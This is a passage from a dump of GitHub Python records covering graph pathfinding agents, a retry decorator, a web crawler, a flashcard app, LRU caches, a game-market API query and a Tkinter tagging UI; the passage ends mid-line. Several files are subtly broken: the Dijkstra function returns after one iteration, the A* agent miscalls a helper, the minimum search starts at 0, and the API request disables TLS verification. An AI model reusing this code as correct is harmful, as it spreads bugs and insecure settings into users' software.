dijkstra(graph, start):\r\n    \"\"\"\r\n    Implementation of dijkstra using adjacency matrix.\r\n    This returns an array containing the length of the shortest path from the start node to each other node.\r\n    It is only guaranteed to return correct results if there are no negative edges in the graph. Positive cycles are fine.\r\n    This has a runtime of O(|V|^2) (|V| = number of Nodes), for a faster implementation see @see ../fast/Dijkstra.java (using adjacency lists)\r\n\r\n    :param graph: an adjacency-matrix-representation of the graph where (x,y) is the weight of the edge or 0 if there is no edge.\r\n    :param start: the node to start from.\r\n    :return: an array containing the shortest distances from the given start node to each other node\r\n    \"\"\"\r\n    # This contains the distances from the start node to all other nodes\r\n    distances = [float(\"inf\") for _ in range(len(graph))]\r\n\r\n    # This contains whether a node was already visited\r\n    visited = [False for _ in range(len(graph))]\r\n\r\n    # The distance from the start node to itself is of course 0\r\n    distances[start] = 0\r\n\r\n    # While there are nodes left to visit...\r\n    while True:\r\n\r\n        # ... find the node with the currently shortest distance from the start node...\r\n        shortest_distance = float(\"inf\")\r\n        shortest_index = -1\r\n        for i in range(len(graph)):\r\n            # ... by going through all nodes that haven't been visited yet\r\n            if distances[i] < shortest_distance and not visited[i]:\r\n                shortest_distance = distances[i]\r\n                shortest_index = i\r\n\r\n        # print(\"Visiting node \" + str(shortest_index) + \" with current distance \" + str(shortest_distance))\r\n\r\n        if shortest_index == -1:\r\n            # There was no node not yet visited --> We are done\r\n            return distances\r\n\r\n        # ...then, for all neighboring nodes that haven't been visited yet....\r\n        for i in range(len(graph[shortest_index])):\r\n            # ...if the path over this edge is shorter...\r\n            if graph[shortest_index][i] != 0 and distances[i] > distances[shortest_index] + graph[shortest_index][i]:\r\n                # ...Save this path as new shortest path.\r\n                distances[i] = distances[shortest_index] + graph[shortest_index][i]\r\n                # print(\"Updating distance of node \" + str(i) + \" to \" + str(distances[i]))\r\n\r\n        # Lastly, note that we are finished with this node.\r\n        visited[shortest_index] = True\r\n        arr = []\r\n        for i in range(0, len(visited)):\r\n            if(visited[i]):\r\n                arr.append(i)\r\n\r\n\r\n        return arr\r\n\r\n\r\n\r\nclass Aki(Agent):   #TODO: Proveriti\r\n    def __init__(self, x, y, file_name):\r\n        super().__init__(x, y, file_name)\r\n\r\n    def get_agent_path(self, coin_distance):    #   greedy\r\n\r\n        path = [0]\r\n        current_position = 0\r\n\r\n        while(True):\r\n            local_min = float('inf')\r\n            min_index = 0\r\n\r\n            for j in range(1, len(coin_distance)):\r\n                if(coin_distance[current_position][j] < local_min and coin_distance[current_position][j] != 0 and j not in path):\r\n                    local_min = coin_distance[current_position][j]\r\n                    min_index = j\r\n\r\n            current_position = min_index\r\n            path.append(min_index)\r\n\r\n            if(len(path) == len(coin_distance)):\r\n                break\r\n\r\n\r\n        return path + [0]\r\n\r\n\r\n\r\nclass Jocke(Agent): #TODO: Proveriti\r\n    def __init__(self, x, y, file_name):\r\n        super().__init__(x, y, file_name)\r\n\r\n    def get_agent_path(self, coin_distance):    #   bruth - force\r\n\r\n        list_of_permutations = list(permutations(range(1, len(coin_distance))))\r\n        min_path = list_of_permutations[0]\r\n        curr_path_cost = 0\r\n        curr_pos = 0\r\n\r\n        for j in min_path:\r\n            curr_path_cost += coin_distance[curr_pos][j]\r\n            curr_pos = j\r\n\r\n        curr_path_cost += coin_distance[curr_pos][0]\r\n        min_path_cost = curr_path_cost\r\n\r\n        for i in list_of_permutations:\r\n            curr_path_cost = 0\r\n            curr_pos = 0\r\n\r\n            for j in i:\r\n                curr_path_cost += coin_distance[curr_pos][j]\r\n                curr_pos = j\r\n            curr_path_cost += coin_distance[curr_pos][0]\r\n\r\n            if(min_path_cost > curr_path_cost):\r\n                min_path_cost = curr_path_cost\r\n                min_path = i\r\n\r\n        curr = min_path\r\n        min_path = [0]\r\n        for i in curr:\r\n            min_path.append(i)\r\n        min_path.append(0)\r\n\r\n\r\n        return min_path\r\n\r\n\r\n\r\nclass Uki(Agent):   #TODO: Proveriti\r\n    def __init__(self, x, y, file_name):\r\n        super().__init__(x, y, file_name)\r\n\r\n    def get_agent_path(self, coin_distance):    #   branch and bounds\r\n\r\n        min_path = []\r\n        queue = PriorityQueue()\r\n        queue.insert(Data(0,[0]))\r\n\r\n        # uzmi iz cvora sa najmanjim prioritetom\r\n        # ako je poslednji cvor liste krajnji - izadji, gotov algoritam\r\n        # ako nije za svaki naslednik cvor poslednjeg iz liste dodaj po jednu novu parcijalnu listu u red\r\n\r\n        while(True):\r\n            curr = queue.delete()\r\n            last_node = curr.list[len(curr.list) - 1]\r\n            if(last_node == 0 and len(curr.list) > 2):\r\n                min_path = curr.list\r\n                break\r\n\r\n            for i in range(0, len(coin_distance)):\r\n                if(i in curr.list):\r\n                    if(i == 0 and len(curr.list) == len(coin_distance)):\r\n                        currrr = 1\r\n                    else:\r\n                        continue\r\n                arr = []\r\n                for x in curr.list:\r\n                    arr.append(x)\r\n                arr.append(i)\r\n\r\n                cost = cost_of_path(arr, coin_distance)\r\n\r\n                queue.insert(Data(cost, arr))\r\n\r\n\r\n        return min_path\r\n\r\n\r\n\r\nclass Micko(Agent): #TODO: Proveriti\r\n    def __init__(self, x, y, file_name):\r\n        super().__init__(x, y, file_name)\r\n\r\n    def get_agent_path(self, coin_distance):    #   A*\r\n\r\n        #   isti djavo kao bnb samo se heuristika sabira sa cenama puta\r\n        #   kad se racuna cena heuristike nekog stabla vadi se i stabla trenutni cvor i svi pre njega u podstablu\r\n\r\n        min_path = []\r\n        queue = PriorityQueue()\r\n        queue.insert(Data(0, [0]))\r\n\r\n        # uzmi iz cvora sa najmanjim prioritetom\r\n        # ako je poslednji cvor liste krajnji - izadji, gotov algoritam\r\n        # ako nije za svaki naslednik cvor poslednjeg iz liste dodaj po jednu novu parcijalnu listu u red\r\n\r\n        while (True):\r\n            curr = queue.delete()\r\n            last_node = curr.list[len(curr.list) - 1]\r\n            if (last_node == 0 and len(curr.list) > 2):\r\n                min_path = curr.list\r\n                break\r\n\r\n            for i in range(0, len(coin_distance)):\r\n                if (i in curr.list):\r\n                    if (i == 0 and len(curr.list) == len(coin_distance)):\r\n                        currrr = 1\r\n                    else:\r\n                        continue\r\n                arr = []\r\n                for x in curr.list:\r\n                    arr.append(x)\r\n                arr.append(i)\r\n\r\n                cost = cost_of_path(arr, coin_distance)\r\n                spt = dijkstra(coin_distance, 0)\r\n                for x in arr:\r\n                    if(x in spt):\r\n                        spt.remove(x)\r\n                if(len(spt) > 1):\r\n                    heuristic = cost_of_path(spt)\r\n                    cost += heuristic\r\n\r\n                queue.insert(Data(cost, arr))\r\n\r\n        return min_path\r\n","repo_name":"markovojinovic/IS_DZ1_2022","sub_path":"sprites.py","file_name":"sprites.py","file_ext":"py","file_size_in_byte":13664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43780062435","text":"import functools\n\nclass RetryException(Exception):\n    pass\n\ndef retry_decorator(f=None, *, retries=5):\n    if f is None:\n        return functools.partial(retry_decorator,\n                                 retries=retries)\n\n    @functools.wraps(f)\n    def inner(*args, **kwargs):\n        call = \",\".join([str(s) for s in args] + [f'{k}={v}' for k, v in kwargs])\n        exception = None\n        tries = retries+1\n        for i in range(retries+1):\n            tries -= 1\n            try:\n                ret = f(*args, **kwargs)\n                return ret\n            except Exception as e:\n                exception = e\n                print(f\"somthig wrong: \\n {e.__class__.__name__}: {e}\\n {tries} tries last\")\n\n        if exception:\n            sleep(0.1)\n            msg = f\"Unnable to re-run function {f.__name__}({call}). \\n last exception:\\n{exception.__class__.__name__}:{exception}\"\n            raise RetryException(msg)\n\n    return inner\n\n\n\n\n@retry_decorator(retries=10)\ndef er(a=0):\n    if a < 4:\n        raise RuntimeError(\"POOF! TRACEBACK\")\n    return True\n\n\ner()\n","repo_name":"rev1z/py_snippets","sub_path":"retry_decorator.py","file_name":"retry_decorator.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35363907945","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun  8 10:57:21 2018\n\n@author: yyuan1\n\"\"\"\nimport urllib\n\ncrawled =[]\nTBCrawled = []\n\ndef returnHtml(url):\n    f = urllib.request.urlopen(url)\n    htmlPage = f.read().decode('utf-8') #https://stackoverflow.com/questions/47056068/python-3-6-typeerror-a-bytes-like-object-is-required-not-str-when-trying-to\n    return htmlPage\n\ndef returnUrl(htmlPage):\n    '''Return all url from an HTML page'''\n    urlList = []\n    while True:\n        hrefPos = htmlPage.find('<a href=')\n        firstQuote = htmlPage.find('\"', hrefPos)\n        endQuote = htmlPage.find('\"', firstQuote + 1)\n        url = htmlPage[firstQuote+1:endQuote]\n        if firstQuote != -1:\n            urlList.append(url)\n            htmlPage = htmlPage[endQuote:]\n        else:\n            return urlList\n            break\n    \ndef exist(lst, target):\n    '''Test if target exists in list'''\n    if target in lst:\n        return True\n    else:\n        return False\n    \ndef TBCrawledUpdater(urlList):\n    '''Evaluate if url in urlList should be added to To Be Crawled list'''\n    for url in urlList: \n        if not exist(crawled, url):\n            TBCrawled.append(url)\n\ndef crawl_web(seed):\n    '''Main method'''\n    TBCrawled.append(seed)\n    for item in TBCrawled:\n        urlList = returnUrl(returnHtml(item))\n        crawled.append(item)\n        TBCrawledUpdater(urlList)\n        \nseed = 'https://udacity.github.io/cs101x/index.html'\ncrawl_web(seed)\nprint(crawled)","repo_name":"GuavaLand/IntroToCS","sub_path":"L11_crawlWeb.py","file_name":"L11_crawlWeb.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18398723373","text":"# import numpy as np\n# import math\nfrom sympy import *\n\n\ndef bendixson(f, g):\n    \"\"\"Checks for limit cycle using the Bendixson–Dulac theorem for n=2. Takes the functions x' and y' as well as the\n    variable mu \"\"\"\n    summe = f.diff(x) + g.diff(y)\n    print(\"The sum of the partial derivatives is \", summe)\n    if (StrictLessThan(summe, 0)).is_Boolean:\n        if StrictLessThan(summe, 0):\n            print(\"No possible limit cycle exists in R^2!\")\n        elif not StrictLessThan(summe, 0):\n            print(\"A limit cycle could exist in R^2!\")\n    else:\n        print(\"A limit cycle could exist for \", solve(summe > 0, mu))\n\n\ndef main():\n    global x\n    global y\n    global mu\n    x, y, mu = symbols('x y mu', real=True)\n    f = -1 * x + 2 * y\n    g = 4 * x + -(5 + mu ** 2) * y\n    bendixson(f, g)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"avivko/Biophysics","sub_path":"limitCycleAnalysis.py","file_name":"limitCycleAnalysis.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37847423366","text":"import json\nimport sys\nfrom io import StringIO\n\n\nclass FlashCard:\n    __ops = [\n        \"add\", \"remove\", \"import\",\n        \"export\", \"ask\", \"reset stats\",\n        \"log\", \"hardest card\", \"exit\"\n    ]\n\n    def __init__(self):\n        self.__flash_card = {}\n        self.log_file = StringIO()\n        self.extern_save = 0\n        self.extern_file_name = None\n\n    def get_key(self, value):\n        return next((k for k, v in self.__flash_card.items() if v == value), None)\n\n    def value_in_dict(self, d, value):\n        for k, v in d.items():\n            if v == value:\n                return True\n            elif isinstance(v, dict):\n                if self.value_in_dict(v, value):\n                    return True\n        return False\n\n    def add_card(self):\n        card = input(\"The card:\\n\")\n        self.log_file.write(\"The card:\\n\")\n        while card in self.__flash_card.keys():\n            print(f\"The term \\\"{card}\\\" already exists. Try again:\")\n            self.log_file.write(f\"The term \\\"{card}\\\" already exists. Try again:\\n\")\n            card = input()\n\n        definition = input(\"The definition for card:\\n\")\n        self.log_file.write(\"The definition for card:\\n\")\n        for term, _def in self.__flash_card.items():\n            while definition == _def[\"definition\"]:\n                print(f\"The definition \\\"{definition}\\\" already exists. Try again:\")\n                self.log_file.write(f\"The definition \\\"{definition}\\\" already exists. Try again:\\n\")\n                definition = input()\n\n        while self.value_in_dict(self.__flash_card, definition):\n            print(f\"The definition \\\"{definition}\\\" already exists. Try again:\")\n            self.log_file.write(f\"The definition \\\"{definition}\\\" already exists. Try again:\\n\")\n            definition = input()\n\n        self.__flash_card[card] = {\"definition\": definition, \"mistakes\": 0}\n        print(f\"The pair (\\\"{card}\\\": \\\"{definition}\\\") has been added.\")\n        self.log_file.write(f\"The pair (\\\"{card}\\\": \\\"{definition}\\\") has been added.\\n\")\n\n    def remove_card(self):\n        card_to_remove = input(\"Which card?\\n\")\n        self.log_file.write(\"Which card?\\n\")\n        if card_to_remove not in self.__flash_card.keys():\n            print(f\"Can't remove \\\"{card_to_remove}\\\": there is no such card.\")\n            self.log_file.write(f\"Can't remove \\\"{card_to_remove}\\\": there is no such card.\\n\")\n        else:\n            del self.__flash_card[card_to_remove]\n            print(\"The card has been removed.\")\n            self.log_file.write(\"The card has been removed.\\n\")\n\n    def import_card(self, var=None):\n        if var:\n            file_name = var\n        else:\n            file_name = input(\"File name:\\n\")\n            self.log_file.write(\"File name:\\n\")\n        try:\n            with open(file_name, 'r') as f:\n                imported_cards = json.loads(f.read())\n        except FileNotFoundError:\n            print(\"File not found\")\n            self.log_file.write(\"File not found\\n\")\n            return\n\n        for k, v in imported_cards.items():\n            if k in self.__flash_card.keys():\n                self.__flash_card[k] = v\n            self.__flash_card[k] = v\n        print(f\"{len(imported_cards)} cards have been loaded.\")\n        self.log_file.write(f\"{len(imported_cards)} cards have been loaded.\\n\")\n\n    def export_card(self, var=None):\n        if var:\n            file_name = var\n        else:\n            file_name = input(\"File name:\\n\")\n            self.log_file.write(\"File name:\\n\")\n\n        with open(file_name, 'a') as f:\n            f.write(json.dumps(self.__flash_card))\n\n        print(f\"{len(self.__flash_card)} cards have been saved.\")\n        self.log_file.write(f\"{len(self.__flash_card)} cards have been saved.\\n\")\n\n    def log_card(self):\n        log_file = input(\"File name:\\n\")\n        self.log_file.write(\"File name:\\n\")\n        try:\n            with open(log_file, 'w') as log:\n                for line in self.log_file.getvalue():\n                    log.write(line)\n                print(\"The log has been saved.\")\n        except NotImplementedError:\n            self.log_file.write(f\"Error saving log to file {log_file}\")\n        except FileNotFoundError:\n            self.log_file.write(f\"Failed, {log_file} not found\")\n\n    def hardest_card(self):\n        max_mistakes = 0\n        hardest_cards = []\n        for k, v in self.__flash_card.items():\n            if v[\"mistakes\"] > max_mistakes:\n                max_mistakes = v[\"mistakes\"]\n                hardest_cards = [k]\n            elif v[\"mistakes\"] == max_mistakes:\n                hardest_cards.append(k)\n        if max_mistakes == 0:\n            print(\"There are no cards with errors.\")\n            self.log_file.write(\"There are no cards with errors.\\n\")\n        elif len(hardest_cards) == 1:\n            print(f\"The hardest card is \\\"{hardest_cards[0]}\\\". You have {max_mistakes} errors answering it.\")\n            self.log_file.write(\n                f\"The hardest card is \\\"{hardest_cards[0]}\\\". You have {max_mistakes} errors answering it.\\n\"\n            )\n        else:\n            print(f\"The hardest cards are {', '.join(hardest_cards)}. You have {max_mistakes} errors answering them.\")\n            self.log_file.write(\n                f\"The hardest cards are {', '.join(hardest_cards)}. You have {max_mistakes} errors answering them.\\n\"\n            )\n\n    def reset_stats(self):\n        for k, v in self.__flash_card.items():\n            v[\"mistakes\"] = 0\n        print(\"Card statistics have been reset.\")\n        self.log_file.write(\"Card statistics have been reset.\\n\")\n\n    def ask(self):\n        n_card = int(input(\"How many times to ask?\\n\"))\n        self.log_file.write(\"How many times to ask?\\n\")\n        count = 1\n        n_read = (n_card // len(self.__flash_card)) + 1\\\n            if n_card != len(self.__flash_card) else (n_card // len(self.__flash_card))\n        for _ in range(n_read):\n            for key, value in self.__flash_card.items():\n                answer = input(f\"Print the definition of \\\"{key}\\\":\\n\")\n                self.log_file.write(f\"Print the definition of \\\"{key}\\\":\\n\")\n                if answer != value:\n                    self.__flash_card[key][\"mistakes\"] += 1\n                    if self.value_in_dict(self.__flash_card, answer):\n                        print(\n                            f\"Wrong. The right answer is \\\"{value}\\\",\",\n                            f\"but your definition is correct for \\\"{self.get_key(answer)}\\\".\"\n                        )\n                        self.log_file.write(\n                            f\"Wrong. The right answer is \\\"{value}\\\",\" +\n                            f\"but your definition is correct for \\\"{self.get_key(answer)}\\\".\\n\"\n                        )\n                    else:\n                        print(f\"Wrong. The right answer is \\\"{value}\")\n                        self.log_file.write(f\"Wrong. The right answer is \\\"{value}\\n\")\n                else:\n                    print(\"correct!\")\n                    self.log_file.write(\"correct!\\n\")\n                if count == n_card:\n                    break\n                count += 1\n\n    @staticmethod\n    def exit():\n        print(\"Bye bye!\")\n        sys.exit(0)\n\n    def main(self):\n        if len(sys.argv) > 1:\n            for arg in sys.argv[1:]:\n                if arg.startswith(\"--import\"):\n                    self.extern_file_name = arg.split(\"=\")[1]\n                    self.import_card(self.extern_file_name)\n                elif arg.startswith(\"--export\"):\n                    self.extern_file_name = arg.split(\"=\")[1]\n                    self.extern_save = 1\n\n        op = input(\n            \"Input the action (add, remove, import, export, ask, exit, log, hardest card, reset stats):\\n\"\n        )\n        self.log_file.write(\n            f\"Input the action (add, remove, import, export, ask, exit, log, hardest card, reset stats):\\n\"\n        )\n        if op not in self.__ops:\n            return\n        if op == \"add\":\n            self.add_card()\n        elif op == \"remove\":\n            self.remove_card()\n        elif op == \"import\":\n            self.import_card()\n        elif op == \"export\":\n            self.export_card()\n        elif op == \"ask\":\n            self.ask()\n        elif op == \"log\":\n            self.log_card()\n        elif op == \"hardest card\":\n            self.hardest_card()\n        elif op == \"reset stats\":\n            self.reset_stats()\n        elif op == \"exit\":\n            if self.extern_save:\n                self.export_card(self.extern_file_name)\n            self.exit()\n        else:\n            print(\"Invalid operation\")\n\n    def loop(self):\n        while True:\n            self.main()\n\n\nif __name__ == '__main__':\n    FlashCard().loop()\n","repo_name":"Sanctus-Peter/Flashcards","sub_path":"Flashcards/task/flashcards/flashcards.py","file_name":"flashcards.py","file_ext":"py","file_size_in_byte":8735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"71215451574","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\nfrom sys import exit\n\nv_col=60\nv_inzio='\\033[1;32m'\nv_ok='[\\033[1;32m  OK  \\033[1;m]'\nv_fa='[\\033[1;31m FAIL \\033[1;m]'\nv_fine='\\033[1;m'\n\ndef f_ok():\n    \"\"\"Task log pretty output\"\"\"\n    print(v_ok)\n\ndef f_print(t):\n    n=\".\"*(50-len(t))+\" \" \n    print(\"[-] \"+t+n, end='')\n\ndef f_fail():\n    \"\"\"Task log pretty output\"\"\"\n    print(v_fa)\n    exit()\n\n\n","repo_name":"fpusersuggest/lvsec","sub_path":"tasklog.py","file_name":"tasklog.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"30113727345","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep  8 07:24:34 2022\n\n@author: juani\n\"\"\"\n#nombre ARCHIVO  busqueda_en_listas.py\n\n# Búsqueda de máximo y mínimo\ndef maximo(lista):\n    '''Devuelve el máximo de una lista, \n    la lista debe ser no vacía y de números positivos.\n    '''\n    # m guarda el máximo de los elementos a medida que recorro la lista. \n    m = 0 # Lo inicializo en 0\n    for e in lista: # Recorro la lista y voy guardando el mayor\n        if e>m:\n            m=e\n    return m\n\nprint(maximo([1,2,-7,2,3,4]))\nprint(maximo([1,2,3,4]))\nprint(maximo([-5,-4]))\n\ndef minimo(lista):\n    m = 0 \n    for e in lista: \n        if e<m:\n            m = e\n    return m\n\nprint(minimo([1,2,-7,2,3,4]))","repo_name":"juanamolinalucia2001/python2C-unsam2022","sub_path":"Clase05/busqueda_en_listasJuanaMolina.py","file_name":"busqueda_en_listasJuanaMolina.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31289391754","text":"import collections\n\n\nclass LRUCache(collections.OrderedDict):\n    def __init__(self, capacity: int):\n        super().__init__()\n        self.capacity = capacity\n\n    def get(self, key: int) -> int:\n        if key not in self:\n            return -1\n        self.move_to_end(key, True)\n        return self[key]\n\n    def put(self, key: int, value: int) -> None:\n        if key in self:\n            self.move_to_end(key, True)\n        self[key] = value\n        if len(self) > self.capacity:\n            self.popitem(False)\n\n\nclass Node:\n    def __init__(self, key=-1, value=0):\n        self.left = None\n        self.right = None\n        self.key = key\n        self.value = value\n\n\nclass LRUCache2:\n    def __init__(self, capacity: int):\n        self.capacity = capacity\n        self.d = {}\n        self.head = Node()\n        self.tail = Node()\n        self.head.right = self.tail\n        self.tail.left = self.head\n\n    def get(self, key: int) -> int:\n        if key not in self.d:\n            return -1\n        node = self.d[key]\n        self.move_to_end(node)\n        return node.value\n\n    def put(self, key: int, value: int) -> None:\n        if key in self.d:\n            node = self.d[key]\n            node.value = value\n            self.move_to_end(node)\n        else:\n            node = Node(key, value)\n            self.d[key] = node\n            self.move_to_end(node)\n            if len(self.d) > self.capacity:\n                node = self.popleft()\n                del self.d[node.key]\n\n    def move_to_end(self, node):\n        if node.left:\n            node.left.right = node.right\n        if node.right:\n            node.right.left = node.left\n        node.right = self.tail\n        node.left = self.tail.left\n        self.tail.left.right = node\n        self.tail.left = node\n\n    def popleft(self):\n        node = self.head.right\n        self.head.right = node.right\n        node.right.left = self.head\n        return node\n\n\nlRUCache = LRUCache2(2)\n# [\"LRUCache\",\"put\",\"put\",\"put\",\"put\",\"get\",\"get\"]\n# [[2],[2,1],[1,1],[2,3],[4,1],[1],[2]]\n# [null,null,null,null,null,-1,3]\nlRUCache.put(2, 1)\nlRUCache.put(1, 1)\nlRUCache.put(2, 3)\nlRUCache.put(4, 1)\nprint(lRUCache.get(1))\nprint(lRUCache.get(2))\n","repo_name":"sengami-yuka/py","sub_path":"coding_problems/leetcode/hot_100/146_lru_cache.py","file_name":"146_lru_cache.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21042417705","text":"import requests\nfrom SearchTools.InfoBaseLine import InfoBaseLine\n\nclass ItemInfoSearch(InfoBaseLine):\n    \"\"\"\n    CharInfoSearch : 로스트아크 공식 API를 통해 캐릭터 정보를 탐색하는 클래스\n    주의사항) 검색 아이템은 반드시 광기 / 비기 / 고독한 기사 등 정식 이름으로 검색할 것\n    예시) 고기(고독한 기사) 등으로 검색 불가\n    \n    1. engravingBookPrice : 각인서 가격 정보 (이름, 레벨, )\n    \"\"\"\n    \n    def __init__(self, item_name):\n        self.item_name = item_name\n    \n    def engravingBookPrice(self):\n        url = ItemInfoSearch.BASIC_URL + '/markets/items'\n        \n        # post method 위한 전송 데이터\n        params = {\n                \"Sort\": \"\",\n                \"CategoryCode\": 40000,\n                \"CharacterClass\": \"\",\n                \"ItemTier\": 0,\n                \"ItemGrade\": \"\",\n                \"ItemName\": f\"{self.item_name}\",    # 검색 대상 아이템\n                \"PageNo\": 0,\n                \"SortCondition\": \"ASC\"\n                }\n        \n        res = requests.post(url, data=params, headers=ItemInfoSearch.HEADERS, verify=False)\n        \n        return res.json()\n        ","repo_name":"KimChanw/LoVis_LostarkDiscordBot","sub_path":"SearchTools/ItemInfoSearch.py","file_name":"ItemInfoSearch.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"40891389882","text":"##########\n\"\"\"\nVotre tâche est simple:\nTrouver les deux premiers nombres premiers de plus d'1 million, dont la somme de leurs chiffres est aussi un nombre premier.\nPar exemple 23 qui est premier, la somme de ses chiffres est 5 qui est aussi un nombre premier.\nLa solution est la concaténation des deux nombres,\nExemple: Si le premier nombre est 1 234 567\net le second 8 765 432,\nVotre solution sera 12345678765432\n\"\"\"\n##########\n\ndef is_prime(n):\n    if n <= 1:\n        return False\n    for i in range(2, int(n**0.5) + 1):\n        if n % i == 0:\n            return False\n    return True\n\ndef sum_of_digits(n):\n    return sum([int(digit) for digit in str(n)])\n\ndef is_prime_sum(n):\n    return is_prime(sum_of_digits(n))\n\ndef find_prime_pair():\n    i = 1000001\n    while True:\n        if is_prime(i) and is_prime_sum(i):\n            j = i + 1\n            while True:\n                if is_prime(j) and is_prime_sum(j):\n                    return int(str(i) + str(j))\n                j += 1\n        i += 1\n\nprint(find_prime_pair())","repo_name":"0dayMonkey/Challenges","sub_path":"Challenge Prime Factory.py","file_name":"Challenge Prime Factory.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24777063069","text":"#!/usr/bin/env python3\n# 界面\n\nimport json\nimport os\nimport time\nfrom pathlib import Path\nfrom typing import List\n\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import filedialog\nfrom tkinter import simpledialog\nfrom tkinter import scrolledtext\n\nfrom ui.delete_tag_dlg import DeleteTagDialog\nfrom utils import gui_utils\nfrom utils import str_utils\nfrom utils import tag_utils\n\nimport tag_add\nimport tag_delete\n\n\nclass TagUI():\n    def widget(self):\n        return self.panewin\n\n    def __init__(self, root, init_dir):\n        self.curr_dir = init_dir\n\n        self.create_menu(root)\n        self.panewin = ttk.Panedwindow(root, orient=HORIZONTAL)\n\n        self.frm_left = self.create_tag_tree(self.panewin)\n        self.frm_left.grid(column=0, row=0, sticky=(N, S, E, W))\n        self.panewin.add(self.frm_left, weight=1)\n\n        self.pan_right = ttk.Panedwindow(self.panewin, orient=VERTICAL)\n        self.pan_right.grid(column=0, row=0, sticky=(N, S, E, W))\n        self.panewin.add(self.pan_right, weight=10)\n\n        self.frm_list = self.create_file_list(self.pan_right)\n        self.frm_list.grid(column=0, row=0, sticky=(N, S, E, W))\n        self.pan_right.add(self.frm_list, weight=10)\n\n        self.log = self.create_log(self.pan_right)\n        self.log.grid(row = 0, column = 0, sticky = NSEW)\n        self.pan_right.add(self.log, weight=1)\n\n\n    def create_menu(self, parent):\n        mbar = Menu(parent)\n        fmenu = Menu(mbar, tearoff=False)\n        mbar.add_cascade(label=' 文件 ',menu=fmenu)\n        fmenu.add_command(label=\"打开文件夹\", command=self.on_open_dir)\n        fmenu.add_separator()\n        fmenu.add_command(label=\"退出\", command=parent.quit)\n\n        parent.config(menu=mbar)\n\n\n    def create_file_list(self, parent):\n        \"\"\" 创建 文件列表 \"\"\"\n        frame = ttk.Frame(parent, relief=RIDGE)\n\n        # 显示当前目录的文本框\n        self.label_path_var = StringVar()\n        self.label_path = ttk.Label(frame, textvariable=self.label_path_var)\n\n        # 搜索框\n        self.reverseFlag = False\n        self.searchstr = StringVar()\n        self.search = ttk.Entry(frame, textvariable=self.searchstr)\n        self.searchstr.trace_add(\"write\", self.on_search_files)\n\n        # 文件列表（及滚动条）\n        menubar = Menu(frame, tearoff=False)\n        menubar.add_command(label='添加Tag', command=self.on_add_tag)\n        menubar.add_command(label='删除Tag', command=self.on_delete_tag)\n        self.file_list_menu = menubar\n\n        column_infos = [\n            gui_utils.Column('name', 'Name', 'w', 500, 'zh'),\n            gui_utils.Column('ext', 'Ext', 'w', 60, 'en'),\n            gui_utils.Column('size', 'Size', 'e', 80, 'int'),\n            gui_utils.Column('date', 'Date', 'e', 200, 'en')\n        ]\n        self.file_list = gui_utils.SortableTreeView(frame, column_infos=column_infos)\n        self.file_list.bind(\"<Return>\", self.on_open_file)\n        self.file_list.bind(\"<Double-1>\", self.on_open_file)\n        self.file_list.bind(\"<Button-3>\", self.on_file_list_popup)\n        self.file_list.bind(\"<<TreeviewSelect>>\", self.on_select_files)\n        scroll = ttk.Scrollbar(frame, orient=VERTICAL, command=self.file_list.yview)\n        self.file_list['yscrollcommand'] = scroll.set\n        self.fill_file_list()\n\n        ttk.Label(frame, text=\"当前目录：\").grid(column = 0, row = 0, sticky = W, padx=5, pady=5)\n        self.label_path.grid(column = 1, row = 0, sticky = W)\n        self.search.grid(column = 0, row = 1, sticky = EW, padx=5, pady=(0, 5), columnspan=2)\n        self.file_list.grid(column = 0, row = 2, sticky = (N, S, E, W), columnspan=2)\n        scroll.grid(column=3, row=2, padx=(0,5), sticky=(N, S))\n\n        frame.rowconfigure(2, weight=10)\n        frame.columnconfigure(1, weight=1)\n\n        return frame\n\n\n    def create_tag_tree(self, parent):\n        \"\"\" 创建 Tag 树 \"\"\"\n        tree = ttk.Treeview(parent, selectmode='browse',show='tree')\n        tree.bind(\"<Double-1>\", self.on_tag_double_click)\n\n        tag_file = Path(\"default.json\")\n        content = json.loads(tag_file.read_text(encoding='utf-8'))\n        groups = content['groups']\n        for group in groups:\n            title = group['title']\n            gid = tree.insert('', 'end', text=title)\n            tags = group['tags']\n            for tag in tags:\n                tree.insert(gid, 'end', 'tag_' + gid + '_' + tag, text=tag)\n        return tree\n\n\n    def create_log(self, parent):\n        \"\"\" 创建 日志控件 \"\"\"\n        text = scrolledtext.ScrolledText(parent, height=3)\n        text.insert(END, \"本区域为日志区，显示当前的操作信息。\\n\\n\")\n        text.insert(END, \"上方是文件列表，显示当前目录下所有文件。\\n\\n\")\n        text.insert(END, \"左侧为Tag区，双击叶节点可以将该Tag添加至文件列表中选中的文件。\\n\\n\")\n        text['state'] = 'disabled'\n        return text\n\n\n    def on_tag_double_click(self, event: Event):\n        \"\"\" 双击 Tag 树中的 Tag 时，将相应的 Tag 添加到文件列表中当前选择的文件中 \"\"\"\n        e = event.widget\n        iid = e.identify(\"item\", event.x, event.y)\n        if not iid.startswith('tag_'):\n            self.show_log(\"\")\n            return\n\n        tag = e.item(iid, 